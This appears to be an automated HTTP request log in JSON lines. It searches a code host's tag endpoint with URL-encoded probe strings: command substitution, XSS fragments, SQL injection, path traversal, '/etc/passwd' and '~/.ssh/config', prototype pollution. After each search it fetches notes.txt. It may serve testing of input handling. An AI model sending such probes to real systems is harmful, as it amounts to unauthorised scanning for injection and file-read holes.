{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24%7BVAR%7D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24%7BVAR%7D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24%28pwd%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24%28pwd%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=process.env&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=process.env&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3Cimg%20src%3D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3Cimg%20src%3D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3Cscript%3E&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3Cscript%3E&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=union%20select&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=union%20select&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=..%2F&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=..%2F&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%2Fetc%2Fpasswd&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%2Fetc%2Fpasswd&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=eval%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=eval%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=chmod%20%2Bx&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=chmod%20%2Bx&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=echo%20%24PATH&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=echo%20%24PATH&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=java.lang.Runtime&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=java.lang.Runtime&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=document.cookie&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=document.cookie&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=alert%281%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=alert%281%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=__proto__&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=__proto__&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=Invoke-WebRequest&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=Invoke-WebRequest&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=sudo%20apt%20install&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=sudo%20apt%20install&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=~%2F.ssh%2Fconfig&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=~%2F.ssh%2Fconfig&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=.htaccess&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
